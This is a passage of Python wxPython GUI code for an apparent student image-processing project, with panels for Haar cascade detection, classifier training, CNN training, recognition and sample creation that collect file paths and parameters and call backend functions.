panels['create_samples'] = create_samples\n panels['output_panel'] = output_panel\n panels['crop_panel'] = crop_panel\n\n displayed_panel = 'detection'\n\n frame_box = wx.BoxSizer(wx.VERTICAL)\n frame_box.Add(menu, 1, wx.EXPAND)\n frame_box.Add(detection, 6, wx.EXPAND)\n frame_box.Add(classifier, 6, wx.EXPAND)\n frame_box.Add(recognition, 6, wx.EXPAND)\n frame_box.Add(train_cnn, 6, wx.EXPAND)\n frame_box.Add(output_panel, 6, wx.EXPAND)\n frame_box.Add(create_samples, 6, wx.EXPAND)\n frame_box.Add(crop_panel, 6, wx.EXPAND)\n\n classifier.Hide()\n recognition.Hide()\n train_cnn.Hide()\n output_panel.Hide()\n create_samples.Hide()\n crop_panel.Hide()\n\n# self.SetAutoLayout(True)\n self.SetSizer(frame_box)\n# self.Layout()\n\n\nclass MenuPanel(wx.Panel):\n def __init__(self, parent):\n super().__init__(parent)\n\n menu = BoxMenu(wx.HORIZONTAL)\n button1 = wx.Button(self, label='Detection', size=(80, 50))\n button2 = wx.Button(self, label='Classifier', size=(80, 50))\n button3 = wx.Button(self, label='Recognition', size=(80, 50))\n button4 = wx.Button(self, label='Train CNN', size=(80, 50))\n button6 = wx.Button(self, label='Output', size=(80, 50))\n button7 = wx.Button(self, label='Make Samples', size=(80, 50))\n button8 = wx.Button(self, label='CropImages', size=(80, 50))\n\n button1.Bind(wx.EVT_BUTTON, self.click1)\n button2.Bind(wx.EVT_BUTTON, self.click2)\n button3.Bind(wx.EVT_BUTTON, self.click3)\n button4.Bind(wx.EVT_BUTTON, self.click4)\n button6.Bind(wx.EVT_BUTTON, self.click6)\n button7.Bind(wx.EVT_BUTTON, self.click7)\n button8.Bind(wx.EVT_BUTTON, self.click8)\n\n menu.Add(button1, 0)\n menu.Add(button2, 0)\n menu.Add(button3, 0)\n menu.Add(button4, 0)\n menu.Add(button6, 0)\n menu.Add(button7, 0)\n menu.Add(button8, 0)\n self.SetSizer(menu)\n\n def click1(self, event):\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['detection'].Show()\n displayed_panel = 'detection'\n\n def click2(self, event):\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['classifier'].Show()\n panels['classifier'].GetParent().Layout()\n displayed_panel = 'classifier'\n\n def click3(self, event):\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['recognition'].Show()\n panels['recognition'].GetParent().Layout()\n displayed_panel = 'recognition'\n\n def click4(self, event):\n\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['train_CNN'].Show()\n panels['train_CNN'].GetParent().Layout()\n displayed_panel = 'train_CNN'\n\n def click6(self, event):\n\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['output_panel'].Show()\n panels['output_panel'].GetParent().Layout()\n displayed_panel = 'output_panel'\n\n def click7(self, event):\n\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['create_samples'].Show()\n panels['create_samples'].GetParent().Layout()\n displayed_panel = 'create_samples'\n\n def click8(self, event):\n\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['crop_panel'].Show()\n panels['crop_panel'].GetParent().Layout()\n displayed_panel = 'crop_panel'\n\n\nclass BoxMenu(wx.BoxSizer):\n def __init__(self, orient):\n super().__init__(orient)\n\n\nclass ClassifierPanel(wx.Panel):\n def __init__(self, parent):\n super().__init__(parent)\n\n mainbox = wx.BoxSizer(wx.VERTICAL)\n\n data_box = BoxMenu(wx.HORIZONTAL)\n data_button = wx.Button(self, wx.ALIGN_LEFT, label='Output folder', size=(90, 30))\n data_button.Bind(wx.EVT_BUTTON, self.dataclick)\n self.data_err = wx.StaticText(self, label='Select/Insert the cascade file path')\n self.data_err.SetForegroundColour((255, 0, 0))\n\n vec_box = BoxMenu(wx.HORIZONTAL)\n vec_button = wx.Button(self, wx.ALIGN_LEFT, label='Vector file', size=(90, 30))\n vec_button.Bind(wx.EVT_BUTTON, self.vecclick)\n self.vec_err = wx.StaticText(self, label='Select/Insert the vector file path')\n self.vec_err.SetForegroundColour((255, 0, 0))\n\n background_box = BoxMenu(wx.HORIZONTAL)\n background_button = wx.Button(self, wx.ALIGN_LEFT, label='Negative paths', size=(90, 30))\n background_button.Bind(wx.EVT_BUTTON, self.bgclick)\n self.bg_err = wx.StaticText(self, label='Select/Insert a background file path')\n self.bg_err.SetForegroundColour((255, 0, 0))\n\n pos_box = BoxMenu(wx.HORIZONTAL)\n pos_text = wx.StaticText(self, label='Number of positive images : ')\n self.pos_err = wx.StaticText(self, label='Insert the number of positive images')\n self.pos_err.SetForegroundColour((255, 0, 0))\n\n neg_box = BoxMenu(wx.HORIZONTAL)\n neg_text = wx.StaticText(self, label='Number of negative images : ')\n self.neg_err = wx.StaticText(self, label='Insert the number of negative images')\n self.neg_err.SetForegroundColour((255, 0, 0))\n\n stage_box = BoxMenu(wx.HORIZONTAL)\n stage_text = wx.StaticText(self, label='Number of stages : ')\n self.stage_err = wx.StaticText(self, label='Insert the number of stages')\n self.stage_err.SetForegroundColour((255, 0, 0))\n\n width_box = BoxMenu(wx.HORIZONTAL)\n width_text = wx.StaticText(self, label='Minimum hit rate : ')\n self.width_err = wx.StaticText(self, label='Insert the min hit rate of the classifier')\n self.width_err.SetForegroundColour((255, 0, 0))\n\n height_box = BoxMenu(wx.HORIZONTAL)\n height_text = wx.StaticText(self, label='False alarm ratio : ')\n self.heigth_err = wx.StaticText(self, label='Insert the max false alarm ratio of the classifier')\n self.heigth_err.SetForegroundColour((255, 0, 0))\n\n self.data_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.vec_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.background_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.pos = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(70, 30))\n self.neg = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(70, 30))\n self.stage = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(70, 30))\n self.width = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(70, 30))\n self.heigth = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(70, 30))\n\n data_box.Add(data_button, 0, wx.RIGHT, 94)\n data_box.Add(self.data_path, 0)\n data_box.Add(self.data_err, 0)\n self.data_err.Hide()\n\n vec_box.Add(vec_button, 0, wx.RIGHT, 94)\n vec_box.Add(self.vec_path, 0)\n vec_box.Add(self.vec_err, 0)\n self.vec_err.Hide()\n\n background_box.Add(background_button, 0, wx.RIGHT, 94)\n background_box.Add(self.background_path, 0)\n background_box.Add(self.bg_err, 0)\n self.bg_err.Hide()\n\n pos_box.Add(pos_text, 0, wx.RIGHT, 11)\n pos_box.Add(self.pos, 0)\n pos_box.Add(self.pos_err, 0)\n self.pos_err.Hide()\n\n neg_box.Add(neg_text, 0, wx.RIGHT, 7)\n neg_box.Add(self.neg, 0)\n neg_box.Add(self.neg_err, 0)\n self.neg_err.Hide()\n\n stage_box.Add(stage_text, 0, wx.RIGHT, 60)\n stage_box.Add(self.stage, 0)\n stage_box.Add(self.stage_err, 0)\n self.stage_err.Hide()\n\n width_box.Add(width_text, 0, wx.RIGHT, 60)\n width_box.Add(self.width, 0)\n width_box.Add(self.width_err, 0)\n self.width_err.Hide()\n\n height_box.Add(height_text, 0, wx.RIGHT, 66)\n height_box.Add(self.heigth, 0)\n height_box.Add(self.heigth_err, 0)\n self.heigth_err.Hide()\n\n confirm_box = BoxMenu(wx.HORIZONTAL)\n confirm_button = wx.Button(self, wx.ALIGN_CENTER, label='confirm', size=(70, 30))\n confirm_button.Bind(wx.EVT_BUTTON, self.confirmclick)\n\n confirm_box.Add(confirm_button, 0)\n\n mainbox.Add(data_box, 0, wx.ALL, 5)\n mainbox.Add(vec_box, 0, wx.ALL, 5)\n mainbox.Add(background_box, 0, wx.ALL, 5)\n mainbox.Add(pos_box, 0, wx.ALL, 5)\n mainbox.Add(neg_box, 0, wx.ALL, 5)\n mainbox.Add(stage_box, 0, wx.ALL, 5)\n mainbox.Add(width_box, 0, wx.ALL, 5)\n mainbox.Add(height_box, 0, wx.ALL, 5)\n mainbox.Add(confirm_box, 0, wx.ALIGN_RIGHT)\n\n self.SetSizer(mainbox)\n self.Layout()\n\n def dataclick(self, event):\n data_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n data_search.ShowModal()\n path = data_search.GetPath()\n self.data_path.SetValue(path)\n data_search.Destroy()\n\n def vecclick(self, event):\n vec_search = wx.FileDialog(self, 'Open', '', '', 'Text files (*.vec)|*.vec',\n wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)\n vec_search.ShowModal()\n path = vec_search.GetPath()\n self.vec_path.SetValue(path)\n vec_search.Destroy()\n\n def bgclick(self, event):\n bg_search = wx.FileDialog(self, 'Open', '', '', 'Text files (*.txt)|*.txt',\n wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)\n bg_search.ShowModal()\n path = bg_search.GetPath()\n self.background_path.SetValue(path)\n bg_search.Destroy()\n\n\n def confirmclick(self, event):\n ok = 0\n\n if not self.data_path.GetValue():\n self.data_err.Show()\n self.data_err.GetParent().Layout()\n ok = 1\n\n if not self.vec_path.GetValue():\n self.vec_err.Show()\n self.vec_err.GetParent().Layout()\n ok = 1\n\n if not self.background_path.GetValue():\n self.bg_err.Show()\n self.bg_err.GetParent().Layout()\n ok = 1\n\n if not self.pos.GetValue():\n self.pos_err.Show()\n self.pos_err.GetParent().Layout()\n ok = 1\n\n if not self.neg.GetValue():\n self.neg_err.Show()\n self.neg_err.GetParent().Layout()\n ok = 1\n\n if not self.stage.GetValue():\n self.stage_err.Show()\n self.stage_err.GetParent().Layout()\n ok = 1\n\n if not self.width.GetValue():\n self.width_err.Show()\n self.width_err.GetParent().Layout()\n ok = 1\n\n if not self.heigth.GetValue():\n self.heigth_err.Show()\n self.heigth_err.GetParent().Layout()\n ok = 1\n\n if ok == 1:\n return\n #pass\n\n self.data_err.Hide()\n self.vec_err.Hide()\n self.bg_err.Hide()\n self.pos_err.Hide()\n self.neg_err.Hide()\n self.stage_err.Hide()\n self.width_err.Hide()\n self.heigth_err.Hide()\n\n\n\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['output_panel'].Show()\n panels['output_panel'].GetParent().Layout()\n displayed_panel = 'output_panel'\n\n LicentaBackend.haardetection.detect(self.data_path.GetValue(), self.vec_path.GetValue(),\n self.background_path.GetValue(), self.pos.GetValue(),\n self.neg.GetValue(), self.stage.GetValue(),\n self.width.GetValue(), self.heigth.GetValue(),\n printfct=panels['output_panel'].printline)\n\n\nclass DetectionPanel(wx.Panel):\n def __init__(self, parent):\n super().__init__(parent)\n\n mainbox = wx.BoxSizer(wx.VERTICAL)\n\n image_box = BoxMenu(wx.HORIZONTAL)\n image_button = wx.Button(self, wx.ALIGN_LEFT, label='Image path', size=(100, 30))\n image_button.Bind(wx.EVT_BUTTON, self.imclick)\n self.image_err = wx.StaticText(self, label='Select/Insert a path to the image used for detection')\n self.image_err.SetForegroundColour((255, 0, 0))\n\n classifier_box = BoxMenu(wx.HORIZONTAL)\n classifier_button = wx.Button(self, wx.ALIGN_LEFT, label='Classifier location', size=(100, 30))\n classifier_button.Bind(wx.EVT_BUTTON, self.bgclick)\n self.clas_err = wx.StaticText(self, label='Select/Insert path to the classifier location')\n self.clas_err.SetForegroundColour((255, 0, 0))\n\n name_box = BoxMenu(wx.HORIZONTAL)\n name_text = wx.StaticText(self, label='Animal name : ')\n self.name_err = wx.StaticText(self, label='Insert the name of the animal found')\n self.name_err.SetForegroundColour((255, 0, 0))\n\n scale_box = BoxMenu(wx.HORIZONTAL)\n scale_text = wx.StaticText(self, label='Scale factor : ')\n self.scale_err = wx.StaticText(self, label='Insert the desired scale factor value')\n self.scale_err.SetForegroundColour((255, 0, 0))\n\n nr_box = BoxMenu(wx.HORIZONTAL)\n nr_text = wx.StaticText(self, label='Minimum neighbours : ')\n self.nr_err = wx.StaticText(self, label='Insert the desired value for the minimum neighbours')\n self.nr_err.SetForegroundColour((255, 0, 0))\n\n nr2_box = BoxMenu(wx.HORIZONTAL)\n nr2_text = wx.StaticText(self, label='Minimum size : ')\n self.nr2_err = wx.StaticText(self, label='Insert the number of positive images')\n self.nr2_err.SetForegroundColour((255, 0, 0))\n\n confirm_box = BoxMenu(wx.HORIZONTAL)\n confirm_button = wx.Button(self, wx.ALIGN_CENTER, label='confirm', size=(70, 30))\n confirm_button.Bind(wx.EVT_BUTTON, self.confirmclick)\n\n self.image_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.clas_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.name = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.scale = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.nr = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.nr2 = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n\n image_box.Add(image_button, 0, wx.RIGHT, 61)\n image_box.Add(self.image_path, 0)\n image_box.Add(self.image_err, 0)\n self.image_err.Hide()\n\n classifier_box.Add(classifier_button, 0, wx.RIGHT, 61)\n classifier_box.Add(self.clas_path, 0)\n classifier_box.Add(self.clas_err, 0)\n self.clas_err.Hide()\n\n name_box.Add(name_text, 0, wx.RIGHT, 80)\n name_box.Add(self.name, 0)\n name_box.Add(self.name_err, 0)\n self.name_err.Hide()\n\n scale_box.Add(scale_text, 0, wx.RIGHT, 89)\n scale_box.Add(self.scale, 0)\n scale_box.Add(self.scale_err, 0)\n self.scale_err.Hide()\n\n nr_box.Add(nr_text, 0, wx.RIGHT, 33)\n nr_box.Add(self.nr, 0)\n nr_box.Add(self.nr_err, 0)\n self.nr_err.Hide()\n\n nr2_box.Add(nr2_text, 0, wx.RIGHT, 74)\n nr2_box.Add(self.nr2, 0)\n nr2_box.Add(self.nr2_err, 0)\n self.nr2_err.Hide()\n\n confirm_box.Add(confirm_button, 0)\n\n mainbox.Add(image_box, 0, wx.ALL, 5)\n mainbox.Add(classifier_box, 0, wx.ALL, 5)\n mainbox.Add(name_box, 0, wx.ALL, 5)\n mainbox.Add(scale_box, 0, wx.ALL, 5)\n mainbox.Add(nr_box, 0, wx.ALL, 5)\n mainbox.Add(nr2_box, 0, wx.ALL, 5)\n mainbox.Add(confirm_box, 0, wx.ALIGN_CENTER)\n\n self.SetSizer(mainbox)\n self.Layout()\n\n def imclick(self, event):\n file_search = wx.FileDialog(self, 'Open', '', '', 'Image files (*.jpg)|*.jpg',\n wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)\n file_search.ShowModal()\n path = file_search.GetPath()\n self.image_path.SetValue(path)\n file_search.Destroy()\n\n def bgclick(self, event):\n bg_search = wx.FileDialog(self, 'Open', '', '', 'XML files (*.xml)|*.xml',\n wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)\n bg_search.ShowModal()\n path = bg_search.GetPath()\n self.clas_path.SetValue(path)\n bg_search.Destroy()\n\n def confirmclick(self,event):\n ok = 0\n\n if not self.image_path.GetValue():\n self.image_err.Show()\n self.image_err.GetParent().Layout()\n ok = 1\n\n if not self.clas_path.GetValue():\n self.clas_err.Show()\n self.clas_err.GetParent().Layout()\n ok = 1\n\n if not self.name.GetValue():\n self.name_err.Show()\n self.name_err.GetParent().Layout()\n ok = 1\n\n if not self.scale.GetValue():\n self.scale_err.Show()\n self.scale.GetParent().Layout()\n ok = 1\n\n if not self.nr.GetValue():\n self.nr_err.Show()\n self.nr_err.GetParent().Layout()\n ok = 1\n if not self.nr2.GetValue():\n self.nr2_err.Show()\n self.nr2_err.GetParent().Layout()\n ok = 1\n\n if ok == 1:\n # pass\n return\n\n LicentaBackend.detection.detect_faces(self.image_path.GetValue(), self.clas_path.GetValue(),\n self.name.GetValue(),self.scale.GetValue(),\n self.nr.GetValue(), self.nr2.GetValue())\n\n\n# class RedirectText taken from\n# http://www.blog.pythonlibrary.org/2009/01/01/wxpython-redirecting-stdout-stderr/\nclass RedirectText(object):\n def __init__(self, text):\n self.out = text\n\n def write(self, string):\n self.out.WriteText(string)\n\n\nclass OutputPanel(wx.Panel):\n def __init__(self, parent):\n super().__init__(parent)\n\n box = wx.BoxSizer(wx.VERTICAL)\n\n self.outputctrl = wx.TextCtrl(self, wx.ID_ANY, size=(700, 700), style=wx.TE_MULTILINE | wx.TE_READONLY | wx.HSCROLL)\n\n box.Add(self.outputctrl, 1, wx.ALL | wx.EXPAND, 5)\n\n self.SetSizer(box)\n self.Layout()\n\n #in generic utils_py am comentat #sys.stdout.flush() la linia 424\n def printline(self, st):\n redir = RedirectText(self.outputctrl)\n sys.stdout = redir\n print(st)\n\n\nclass RecognitionPanel(wx.Panel):\n def __init__(self, parent):\n super().__init__(parent)\n\n mainbox = wx.BoxSizer(wx.VERTICAL)\n\n training_box = BoxMenu(wx.HORIZONTAL)\n training_button = wx.Button(self, wx.ALIGN_LEFT, label='Image path', size=(140, 30))\n training_button.Bind(wx.EVT_BUTTON, self.imclick)\n self.training_err = wx.StaticText(self, label='Select/Insert a path to a image')\n self.training_err.SetForegroundColour((255, 0, 0))\n\n model_box = BoxMenu(wx.HORIZONTAL)\n model_button = wx.Button(self, wx.ALIGN_LEFT, label='Model location', size=(140, 30))\n model_button.Bind(wx.EVT_BUTTON, self.modelclick)\n self.model_err = wx.StaticText(self, label='Select/Insert a path to the model location')\n self.model_err.SetForegroundColour((255, 0, 0))\n\n binary_box = BoxMenu(wx.HORIZONTAL)\n binary_button = wx.Button(self, wx.ALIGN_LEFT, label='Labels location', size=(140, 30))\n binary_button.Bind(wx.EVT_BUTTON, self.binaryclick)\n self.binary_err = wx.StaticText(self, label='Select/Insert a path to the labels location')\n self.binary_err.SetForegroundColour((255, 0, 0))\n\n width_box = BoxMenu(wx.HORIZONTAL)\n width_text = wx.StaticText(self, label='Width : ')\n self.width_err = wx.StaticText(self, label='Insert the desired width value')\n self.width_err.SetForegroundColour((255, 0, 0))\n\n height_box = BoxMenu(wx.HORIZONTAL)\n height_text = wx.StaticText(self, label='Height : ')\n self.height_err = wx.StaticText(self, label='Insert the desire height value')\n self.height_err.SetForegroundColour((255, 0, 0))\n\n confirm_box = BoxMenu(wx.HORIZONTAL)\n confirm_button = wx.Button(self, wx.ALIGN_CENTER, label='confirm', size=(70, 30))\n confirm_button.Bind(wx.EVT_BUTTON, self.confirmclick)\n\n self.training_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.model_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.binary_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.width = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.height = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n\n training_box.Add(training_button, 0, wx.RIGHT, 61)\n training_box.Add(self.training_path, 0)\n training_box.Add(self.training_err, 0)\n self.training_err.Hide()\n\n model_box.Add(model_button, 0, wx.RIGHT, 61)\n model_box.Add(self.model_path, 0)\n model_box.Add(self.model_err, 0)\n self.model_err.Hide()\n\n binary_box.Add(binary_button, 0, wx.RIGHT, 61)\n binary_box.Add(self.binary_path, 0)\n binary_box.Add(self.binary_err, 0)\n self.binary_err.Hide()\n\n width_box.Add(width_text, 0, wx.RIGHT, 50)\n width_box.Add(self.width, 0)\n width_box.Add(self.width_err, 0)\n self.width_err.Hide()\n\n height_box.Add(height_text, 0, wx.RIGHT, 47)\n height_box.Add(self.height, 0)\n height_box.Add(self.height_err, 0)\n self.height_err.Hide()\n\n confirm_box.Add(confirm_button, 0)\n\n mainbox.Add(training_box, 0, wx.ALL, 5)\n mainbox.Add(model_box, 0, wx.ALL, 5)\n mainbox.Add(binary_box, 0, wx.ALL, 5)\n mainbox.Add(width_box, 0, wx.ALL, 5)\n mainbox.Add(height_box, 0, wx.ALL, 5)\n mainbox.Add(confirm_box, 0, wx.CENTER)\n\n self.SetSizer(mainbox)\n self.Layout()\n\n def imclick(self, event):\n training_search = wx.FileDialog(self, 'Open', '', '', 'Images (*.jpg)|*.jpg',\n wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)\n training_search.ShowModal()\n path = training_search.GetPath()\n self.training_path.SetValue(path)\n training_search.Destroy()\n\n def modelclick(self, event):\n model_search = wx.FileDialog(self, 'Open', '', '', 'Model files (*.model)|*.model',\n wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)\n model_search.ShowModal()\n path = model_search.GetPath()\n self.model_path.SetValue(path)\n model_search.Destroy()\n\n def binaryclick(self, event):\n binary_search = wx.FileDialog(self, 'Open', '', '', 'Label binary files (*.pickle)|*.pickle',\n wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)\n binary_search.ShowModal()\n path = binary_search.GetPath()\n self.binary_path.SetValue(path)\n binary_search.Destroy()\n\n def confirmclick(self, event):\n ok = 0\n\n if not self.training_path.GetValue():\n self.training_err.Show()\n self.training_err.GetParent().Layout()\n ok = 1\n\n if not self.model_path.GetValue():\n self.model_err.Show()\n self.model_path.GetParent().Layout()\n ok = 1\n\n if not self.binary_path.GetValue():\n self.binary_err.Show()\n self.binary_err.GetParent().Layout()\n ok = 1\n\n if not self.width.GetValue():\n self.width_err.Show()\n self.width_err.GetParent().Layout()\n ok = 1\n\n if not self.height.GetValue():\n self.height_err.Show()\n self.height_err.GetParent().Layout()\n ok = 1\n\n if ok == 1:\n #pass\n return\n\n from LicentaBackend.recognition import recognize\n\n LicentaBackend.recognition.recognize(self.training_path.GetValue(), self.model_path.GetValue(),\n self.binary_path.GetValue(), self.width.GetValue(),\n self.height.GetValue())\n\n\nclass TrainCNNPanel(wx.Panel):\n def __init__(self, parent):\n super().__init__(parent)\n\n mainbox = wx.BoxSizer(wx.VERTICAL)\n\n training_box = BoxMenu(wx.HORIZONTAL)\n training_button = wx.Button(self, wx.ALIGN_LEFT, label='Training Images', size=(140, 30))\n training_button.Bind(wx.EVT_BUTTON, self.imclick)\n self.training_err = wx.StaticText(self, label='Select/Insert a path to the training images folder')\n self.training_err.SetForegroundColour((255, 0, 0))\n\n model_box = BoxMenu(wx.HORIZONTAL)\n model_button = wx.Button(self, wx.ALIGN_LEFT, label='Model Output location', size=(140, 30))\n model_button.Bind(wx.EVT_BUTTON, self.modelclick)\n self.model_err = wx.StaticText(self, label='Select/Insert a path to the output folder location')\n self.model_err.SetForegroundColour((255, 0, 0))\n\n binary_box = BoxMenu(wx.HORIZONTAL)\n binary_button = wx.Button(self, wx.ALIGN_LEFT, label='Binary Label location', size=(140, 30))\n binary_button.Bind(wx.EVT_BUTTON, self.binaryclick)\n self.binary_err = wx.StaticText(self, label='Select/Insert a path to the output folder location')\n self.binary_err.SetForegroundColour((255, 0, 0))\n\n plot_box = BoxMenu(wx.HORIZONTAL)\n plot_button = wx.Button(self, wx.ALIGN_LEFT, label='Plot Output location', size=(140, 30))\n plot_button.Bind(wx.EVT_BUTTON, self.plotclick)\n self.plot_err = wx.StaticText(self, label='Select/Insert a path to the output folder location')\n self.plot_err.SetForegroundColour((255, 0, 0))\n\n epoch_box = BoxMenu(wx.HORIZONTAL)\n epoch_text = wx.StaticText(self, label='Number of Epochs : ')\n self.epoch_err = wx.StaticText(self, label='Insert the desired epoch number')\n self.epoch_err.SetForegroundColour((255, 0, 0))\n\n batch_box = BoxMenu(wx.HORIZONTAL)\n batch_text = wx.StaticText(self, label='Number of Batch Size : ')\n self.batch_err = wx.StaticText(self, label='Insert the desired number for the batch size')\n self.batch_err.SetForegroundColour((255, 0, 0))\n\n test_box = BoxMenu(wx.HORIZONTAL)\n test_text = wx.StaticText(self, label='Testing ration : ')\n self.test_err = wx.StaticText(self, label='Insert the desired ratio for the testing data')\n self.test_err.SetForegroundColour((255, 0, 0))\n\n confirm_box = BoxMenu(wx.HORIZONTAL)\n confirm_button = wx.Button(self, wx.ALIGN_CENTER, label='confirm', size=(70, 30))\n confirm_button.Bind(wx.EVT_BUTTON, self.confirmclick)\n\n self.training_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.model_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.binary_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.plot_path = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(300, 30))\n self.epoch = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.batch = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n self.test = wx.TextCtrl(self, wx.ALIGN_LEFT, size=(100, 30))\n\n training_box.Add(training_button, 0, wx.RIGHT, 61)\n training_box.Add(self.training_path, 0)\n training_box.Add(self.training_err, 0)\n self.training_err.Hide()\n\n model_box.Add(model_button, 0, wx.RIGHT, 61)\n model_box.Add(self.model_path, 0)\n model_box.Add(self.model_err, 0)\n self.model_err.Hide()\n\n binary_box.Add(binary_button, 0, wx.RIGHT, 61)\n binary_box.Add(self.binary_path, 0)\n binary_box.Add(self.binary_err, 0)\n self.binary_err.Hide()\n\n plot_box.Add(plot_button, 0, wx.RIGHT, 61)\n plot_box.Add(self.plot_path, 0)\n plot_box.Add(self.plot_err, 0)\n self.plot_err.Hide()\n\n epoch_box.Add(epoch_text, 0, wx.RIGHT, 50)\n epoch_box.Add(self.epoch, 0)\n epoch_box.Add(self.epoch_err, 0)\n self.epoch_err.Hide()\n\n batch_box.Add(batch_text, 0, wx.RIGHT, 36)\n batch_box.Add(self.batch, 0)\n batch_box.Add(self.batch_err, 0)\n self.batch_err.Hide()\n\n test_box.Add(test_text, 0, wx.RIGHT, 31)\n test_box.Add(self.test, 0)\n test_box.Add(self.test_err, 0)\n self.test_err.Hide()\n\n confirm_box.Add(confirm_button, 0)\n\n mainbox.Add(training_box, 0, wx.ALL, 5)\n mainbox.Add(model_box, 0, wx.ALL, 5)\n mainbox.Add(binary_box, 0, wx.ALL, 5)\n mainbox.Add(plot_box, 0, wx.ALL, 5)\n mainbox.Add(epoch_box, 0, wx.ALL, 5)\n mainbox.Add(batch_box, 0, wx.ALL, 5)\n mainbox.Add(test_box, 0, wx.ALL, 5)\n mainbox.Add(confirm_box, 0, wx.CENTER)\n\n self.SetSizer(mainbox)\n self.Layout()\n\n def imclick(self,event):\n training_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n training_search.ShowModal()\n path = training_search.GetPath()\n self.training_path.SetValue(path)\n training_search.Destroy()\n\n def modelclick(self, event):\n model_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n model_search.ShowModal()\n path = model_search.GetPath()\n self.model_path.SetValue(path)\n model_search.Destroy()\n\n def binaryclick(self, event):\n binary_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n binary_search.ShowModal()\n path = binary_search.GetPath()\n self.binary_path.SetValue(path)\n binary_search.Destroy()\n\n def plotclick(self, event):\n bg_search = wx.DirDialog(self, 'Choose media directory', '', style=wx.DD_DEFAULT_STYLE)\n bg_search.ShowModal()\n path = bg_search.GetPath()\n self.plot_path.SetValue(path)\n bg_search.Destroy()\n\n def confirmclick(self, event):\n ok = 0\n\n if not self.training_path.GetValue():\n self.training_err.Show()\n self.training_err.GetParent().Layout()\n ok = 1\n\n if not self.model_path.GetValue():\n self.model_err.Show()\n self.model_path.GetParent().Layout()\n ok = 1\n\n if not self.binary_path.GetValue():\n self.binary_err.Show()\n self.binary_err.GetParent().Layout()\n ok = 1\n\n if not self.plot_path.GetValue():\n self.plot_err.Show()\n self.plot_err.GetParent().Layout()\n ok = 1\n\n if not self.epoch.GetValue():\n self.epoch_err.Show()\n self.epoch_err.GetParent().Layout()\n ok = 1\n\n if not self.test.GetValue():\n self.test_err.Show()\n self.test_err.GetParent().Layout()\n ok = 1\n\n if not self.batch.GetValue():\n self.batch_err.Show()\n self.batch_err.GetParent().Layout()\n ok = 1\n\n if ok == 1:\n #pass\n return\n\n global displayed_panel\n panels[displayed_panel].Hide()\n panels['output_panel'].Show()\n panels['output_panel'].GetParent().Layout()\n displayed_panel = 'output_panel'\n\n import LicentaBackend.train_model\n LicentaBackend.train_model.create_mod(self.training_path.GetValue(), self.model_path.GetValue(),\n self.binary_path.GetValue(), self.plot_path.GetValue(),\n self.epoch.GetValue(), self.test.GetValue(), self.batch.GetValue(),\n printfct=panels['output_panel'].printline)\n\n\nclass CreateSamplesPanel(wx.Panel):\n def __init__(self, parent):\n super().__init__(parent)\n\n mainbox = wx.BoxSizer(wx.VERTICAL)\n\n image_box = BoxMenu(wx.HORIZONTAL)\n image_button = wx.Button(self, wx.ALIGN_LEFT, label='Negative Images', size=(100, 30))\n image_button.Bind(wx.EVT_BUTTON, self.imclick)\n self.image_err = wx.StaticText(self, label='Select/Insert a path to the netive images folder')\n self.image_err.SetForegroundColour((255, 0, 0))\n\n background_box = BoxMenu(wx.HORIZONTAL)\n background_button = wx.Button(self, wx.ALIGN_LEFT, label='Output location', size=(100, 30))\n background_button.Bind(wx.EVT_BUTTON, self.bgclick)\n self.bg_err = wx.StaticText(self, label='Select/Insert path to output folder location')\n self.bg_err.SetForegroundColour((255, 0, 0))\n\n name_box = BoxMenu(wx.HORIZONTAL)\n name_text = wx.StaticText(self, label='Negative images file name : ')\n self.name_err = wx.StaticText(self, label='Insert the desired name for the output file')\n self.name_err.SetForegroundColour((255, 0, 0))\n\n confirmbg_box = BoxMenu(wx.HORIZONTAL)\n confirmbg_button = wx.Button(self, wx.ALIGN_CENTER, label='confirm', size=(70, 30))\n confirmbg_button.Bind(wx.EVT_BUTTON, 